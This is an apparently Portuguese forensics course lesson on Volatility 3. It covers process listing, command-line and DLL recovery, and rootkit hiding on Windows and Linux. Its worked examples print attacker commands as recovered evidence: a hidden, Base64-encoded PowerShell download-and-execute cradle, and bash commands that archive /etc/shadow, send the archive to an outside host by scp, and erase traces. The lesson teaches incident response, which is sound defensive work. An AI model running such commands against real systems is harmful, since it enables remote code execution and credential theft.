Memória e dados voláteis · Aula 2 de 4
Volatility 3: processos, linhas de comando e DLLs
12 min de leitura
A aula 5.1 mostrou como capturar a memória; esta aula mostra como ler os processos contidos nela. Com o Volatility 3, você lista o que estava em execução, reconstrói quem iniciou o quê, recupera linhas de comando e módulos carregados e identifica processos ocultados por um rootkit. Os plugins do Windows e seus equivalentes do Linux são ensinados lado a lado, porque o exame aborda ambos.
Fundamentos do Volatility 3
O Volatility 3 é um framework de código aberto em Python 3. Após ser instalado com pip, ele é invocado como vol -f <image> <plugin>; a partir de uma cópia do repositório de código-fonte, o equivalente é python3 vol.py -f <image> <plugin>. Os plugins são nomeados por sistema operacional: windows.pslist, linux.pslist, mac.pslist. As versões atuais agrupam os plugins de detecção em windows.malware.* e linux.malware.* (por exemplo, windows.malware.malfind); guias antigos usam nomes mais curtos, como windows.malfind, que são aliases obsoletos com remoção programada, portanto sempre use os nomes completos. As opções globais vêm antes do nome do plugin, e as opções do plugin, depois dele, por exemplo: vol -f mem.raw -r csv windows.pslist --pid 6120.
Para converter a memória bruta em estruturas, como um registro de processo, o Volatility precisa de uma tabela de símbolos: o layout e os endereços do kernel para aquela compilação exata do kernel, armazenados em um arquivo JSON ISF (Intermediate Symbol Format, formato intermediário de símbolos).
- Windows. O Volatility encontra o registro de depuração do kernel, lê seu nome PDB (program database, banco de dados de programa) e GUID, baixa o PDB correspondente do servidor público de símbolos da Microsoft, converte-o em ISF e o armazena em cache. Isso exige acesso à internet na primeira vez; em uma estação de análise sem conexão, preencha o cache antecipadamente ou coloque o pacote de símbolos do Windows publicado pela Volatility Foundation, como arquivo zip, em
volatility3/symbols. - Linux e macOS. Nada é baixado por padrão. Você deve colocar um arquivo ISF correspondente em
volatility3/symbols(ou em um diretório indicado com--symbol-dirs). Para Linux, ele é criado comdwarf2jsona partir de um kernel com informações de depuração e seu System.map, por exemplo:dwarf2json linux --elf /usr/lib/debug/boot/vmlinux-6.1.0-18-amd64 --system-map /boot/System.map-6.1.0-18-amd64 > debian-6.1.0-18.json. No Debian, o kernel de depuração vem do pacotelinux-image-6.1.0-18-amd64-dbg.
Identifique o sistema antes de qualquer outra coisa. windows.info informa o endereço-base do kernel, o endereço-base da tabela de diretórios, se a imagem é de 64 bits, a compilação (NtMajorVersion, NtMinorVersion, NTBuildLab) e o SystemTime no momento da captura. Para Linux, banners.Banners varre a memória em busca da string do banner do kernel, como Linux version 6.1.0-18-amd64 (debian-kernel@lists.debian.org) ... Debian 6.1.76-1; o ISF deve corresponder exatamente a essa versão, ou os plugins falharão ou retornarão dados sem sentido.
Por padrão, a saída é exibida na tela como uma tabela. -r csv e -r json (também jsonl) produzem saída legível por máquina para planilhas e linhas do tempo; -o <dir> define onde os arquivos extraídos serão gravados. O Volatility informa os horários em UTC.
Listagem de processos no Windows
Um processo do Windows é representado no kernel por uma estrutura EPROCESS. Três plugins visualizam essas estruturas de maneiras diferentes.
| Plugin | Método | Encontra | Não encontra |
|---|---|---|---|
windows.pslist | Percorre a lista duplamente encadeada a partir de PsActiveProcessHead, passando por cada EPROCESS.ActiveProcessLinks | Processos ativos no momento da captura | Processos desvinculados (ocultos) e encerrados |
windows.psscan | Varre a memória física em busca de alocações de EPROCESS no pool (tag de pool Proc) | Processos ativos, encerrados e desvinculados | Nenhum processo da lista, mas pode mostrar vestígios antigos |
windows.pstree | Organiza a lista de processos por PID do pai | Relações entre processos pai e filho | Os mesmos que pslist |
Os campos principais são PID e PPID (PID do pai); ImageFileName, um campo de 15 bytes em EPROCESS, de modo que nomes longos são truncados em 14 caracteres (ApplicationFrameHost.exe aparece como ApplicationFra); CreateTime e ExitTime, em UTC; Threads e Handles; SessionId (0 para serviços, 1 ou superior para logons interativos); e Wow64 (True para um processo de 32 bits no Windows de 64 bits).
Identificando ocultação. Um rootkit pode desvincular sua EPROCESS de ActiveProcessLinks por meio de manipulação direta de objetos do kernel (Direct Kernel Object Manipulation, DKOM). O processo continua em execução, porque o escalonador trabalha com threads, não com essa lista, mas desaparece de pslist e do Gerenciador de Tarefas. Compare os PIDs de pslist e psscan: um processo em psscan sem ExitTime que não aparece em pslist merece uma análise cuidadosa. Uma entrada de psscan com ExitTime geralmente é apenas um processo que foi encerrado.
Como é uma árvore normal do Windows
No Windows 10 e 11, a cadeia de inicialização é estável:
- System (PID 4) inicia smss.exe. O gerenciador de sessões cria uma cópia temporária de si mesmo por sessão, que inicia csrss.exe e wininit.exe na sessão 0, e csrss.exe e winlogon.exe na sessão 1, e então é encerrada. Portanto, o PPID desses processos não corresponde a nenhum processo em execução; isso é normal.
- wininit.exe inicia services.exe e lsass.exe. Existe exatamente um de cada.
- services.exe é o pai de todos os svchost.exe, cada um iniciado com
-k <group>(muitas vezes também com-p -s <service>). - winlogon.exe inicia userinit.exe, que inicia explorer.exe e é encerrado, portanto explorer.exe também tem um PPID órfão. Os programas do usuário são filhos de explorer.exe.
Anomalias a procurar: um processo do sistema com o pai incorreto (lsass.exe fora de wininit.exe, svchost.exe fora de services.exe); um segundo lsass.exe; nomes parecidos, como scvhost.exe ou lsas.exe; um binário do sistema fora de C:\Windows\System32; svchost.exe sem -k; e aplicativos do Office, navegadores ou leitores de PDF iniciando shells. Os PIDs são reutilizados, portanto sempre verifique se o CreateTime do pai é anterior ao do filho.
Linhas de comando, DLLs e contexto do processo
windows.cmdlineexibe a linha de comando do PEB (Process Environment Block, bloco de ambiente do processo, no espaço do usuário) do processo por meio deProcessParameters. Um processo pode sobrescrever seu próprio PEB, portanto trate essa informação como forte, mas não à prova de adulteração, e espere erros como "inaccessible (swapped)" (inacessível, em swap) ou "not valid" (inválido) quando a página não estiver na imagem.windows.dlllistlista os módulos da lista do carregador do PEB, com endereço-base, tamanho, caminho completo e horário de carregamento. Ele fornece o caminho completo que ImageFileName não consegue fornecer.windows.malware.ldrmodulescompara as três listas do PEB (InLoadOrder, InInitializationOrder, InMemoryOrder) com os VADs (Virtual Address Descriptors, descritores de endereços virtuais, o registro do kernel sobre a memória mapeada). Uma DLL mapeada em um VAD, mas com False nas três listas, foi desvinculada para ser ocultada. O executável principal normalmente apresenta False apenas em InInit. Guias antigos o chamam dewindows.ldrmodules, um alias obsoleto.windows.envarsmostra variáveis de ambiente (por exemplo,TEMP,USERNAME);windows.getsidsmostra os SIDs no token do processo, que vinculam um processo a uma conta;windows.privilegesmostra os privilégios do token, nos quais umSeDebugPrivilegehabilitado em um processo inesperado merece atenção.windows.pslist --pid 6120 --dumpgrava o executável do processo em disco, ewindows.dumpfiles --pid 6120extrai objetos de arquivo armazenados em cache na memória. Um PE extraído é reconstruído a partir da memória e geralmente não tem o mesmo hash do arquivo em disco; calcule o hash da cópia em disco para identificação.
Exemplo resolvido: Word inicia PowerShell
windows.pstree em uma imagem do Windows 11, simplificado:
| Processo | PID | PPID | Sessão | CreateTime (UTC) |
|---|---|---|---|---|
| System | 4 | 0 | N/A | 2026-03-12T07:58:11Z |
| . smss.exe | 368 | 4 | N/A | 2026-03-12T07:58:11Z |
| wininit.exe | 552 | 460 | 0 | 2026-03-12T07:58:14Z |
| . services.exe | 696 | 552 | 0 | 2026-03-12T07:58:14Z |
| . lsass.exe | 704 | 552 | 0 | 2026-03-12T07:58:14Z |
| explorer.exe | 3172 | 3140 | 1 | 2026-03-12T08:01:52Z |
| . WINWORD.EXE | 4388 | 3172 | 1 | 2026-03-12T09:38:02Z |
| .. powershell.exe | 6120 | 4388 | 1 | 2026-03-12T09:41:27Z |
windows.cmdline --pid 6120 retorna powershell -nop -w hidden -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMgAwADMALgAwAC4AMQAxADMALgA1ADAALwBhAC4AcABzADEAJwApAA==.
Interpretando os parâmetros. -nop é -NoProfile, -w hidden é -WindowStyle Hidden (sem janela visível) e -enc é -EncodedCommand, que recebe texto UTF-16LE codificado em Base64.
Decodificação. A string tem 200 caracteres Base64 terminando em ==: 200 ÷ 4 × 3 = 150 bytes, menos 2 pelo preenchimento, resulta em 148 bytes. UTF-16LE usa 2 bytes por caractere neste caso, portanto o comando tem 148 ÷ 2 = 74 caracteres. Os primeiros 8 caracteres, SQBFAFgA, são decodificados nos bytes 49 00 45 00 58 00, que correspondem a I, E, X. O texto completo é IEX (New-Object Net.WebClient).DownloadString('http://203.0.113.50/a.ps1'): baixar um script e executá-lo na memória com Invoke-Expression, sem gravá-lo em disco.
Por que o pai importa. O Word não inicia o PowerShell em uso normal. Um shell filho de WINWORD.EXE aponta para uma macro maliciosa ou uma exploração de vulnerabilidade em documento. O CreateTime do pai (09:38:02Z) é 3 minutos e 25 segundos anterior ao do filho (09:41:27Z), portanto o PPID não foi reutilizado. Próximos passos: windows.dlllist --pid 4388 para verificar se o mecanismo VBA VBE7.DLL foi carregado, windows.getsids --pid 6120 para identificar a conta e os plugins de rede da aula 5.3 para procurar uma conexão com 203.0.113.50.
Equivalentes do Linux
O kernel Linux representa cada tarefa com uma task_struct. linux.pslist percorre a lista de tarefas, linux.pstree mostra os pais e, em versões recentes do Volatility 3, linux.psscan varre a memória em busca de estruturas de tarefas, portanto a comparação entre pslist e psscan também funciona no Linux. O nome do processo (comm) tem 16 bytes, portanto no máximo 15 caracteres. linux.psaux mostra a lista completa de argumentos a partir da memória do processo e, assim como o PEB, pode ser alterada pelo processo. linux.lsof lista os descritores de arquivo abertos, linux.elfs lista os arquivos ELF mapeados, linux.proc.Maps lista as regiões de memória e os arquivos que lhes dão suporte, e linux.envars, em versões recentes, mostra as variáveis de ambiente.
linux.bash costuma ser o plugin mais valioso do Linux. O Bash mantém sua lista de histórico no heap do processo e grava ~/.bash_history apenas quando o shell é encerrado, portanto os comandos são recuperados mesmo quando o invasor executou unset HISTFILE ou excluiu o arquivo. Cada entrada contém um carimbo de data/hora, armazenado na memória como uma string, como #1773309820. O plugin não encontra nada para shells que já haviam sido encerrados.
Exemplo resolvido. Em um servidor Debian 12, linux.psaux mostra o PID 2214 como -bash (um shell de login) sob uma sessão sshd, e linux.pslist, em versões recentes, mostra UID 0 (root) para ele. linux.bash --pid 2214 retorna:
| PID | Processo | CommandTime (UTC) | Comando |
|---|---|---|---|
| 2214 | bash | 2026-03-12T10:02:09Z | unset HISTFILE |
| 2214 | bash | 2026-03-12T10:02:58Z | tar czf /tmp/.x.tgz /etc/shadow /var/www/html/config.php |
| 2214 | bash | 2026-03-12T10:03:40Z | scp /tmp/.x.tgz backup@198.51.100.23:/srv/in/ |
| 2214 | bash | 2026-03-12T10:04:12Z | rm /tmp/.x.tgz |
Para conferir o horário de scp: 1.773.309.820 − 1.773.273.600 (2026-03-12T00:00:00Z) = 36.220 s = 10 h 3 min 40 s, portanto 2026-03-12T10:03:40Z. Como HISTFILE foi desdefinida, /root/.bash_history em disco não conterá esses comandos; a memória é o único registro.
Escolhendo o plugin
| Pergunta | Plugin do Windows | Plugin do Linux |
|---|---|---|
| Qual é o SO e a compilação do kernel? | windows.info | banners.Banners |
| O que estava em execução? | windows.pslist | linux.pslist |
| Processos ocultos ou encerrados? | windows.psscan | linux.psscan (versões recentes) |
| Quem iniciou quem? | windows.pstree | linux.pstree |
| Linha de comando completa? | windows.cmdline | linux.psaux |
| Bibliotecas carregadas ou arquivos mapeados? | windows.dlllist, windows.malware.ldrmodules | linux.elfs, linux.proc.Maps |
| Arquivos abertos? | windows.handles (aula 5.3) | linux.lsof |
| Variáveis de ambiente? | windows.envars | linux.envars (versões recentes) |
| Comandos digitados pelo usuário? | windows.consoles, windows.cmdscan (versões recentes) | linux.bash |
Foco no exame: Espere interpretar valores na saída dos plugins do Linux: um PID, um PID do pai, uma linha de comando delinux.psauxou um comando e seu horário UTC delinux.bash. As questões também podem perguntar por que psscan encontra um processo que pslist não encontra, qual pai é normal para lsass.exe ou svchost.exe, como decodificar-enc(Base64 de UTF-16LE) e por que a análise do Linux falha sem um ISF correspondente.
Pontos principais
- O Volatility 3 precisa de uma tabela de símbolos: os PDBs do Windows são obtidos do servidor de símbolos da Microsoft por GUID, enquanto Linux e macOS precisam de um ISF criado com dwarf2json para o kernel exato.
- pslist percorre a lista de processos ativos; psscan varre a memória em busca de estruturas e também encontra processos encerrados e desvinculados, portanto uma diferença entre eles pode revelar ocultação por DKOM.
- Conheça a árvore normal: um lsass.exe sob wininit.exe, svchost.exe sob services.exe com
-k, explorer.exe com um PPID órfão; um shell sob um aplicativo do Office é um forte indício. - As linhas de comando (
windows.cmdline,linux.psaux) vêm da memória do espaço do usuário, que o processo pode alterar; corrobore-as com outras fontes. linux.bashrecupera comandos com carimbos de data/hora de processos bash em execução, inclusive quando HISTFILE foi desdefinida ou o arquivo de histórico foi excluído.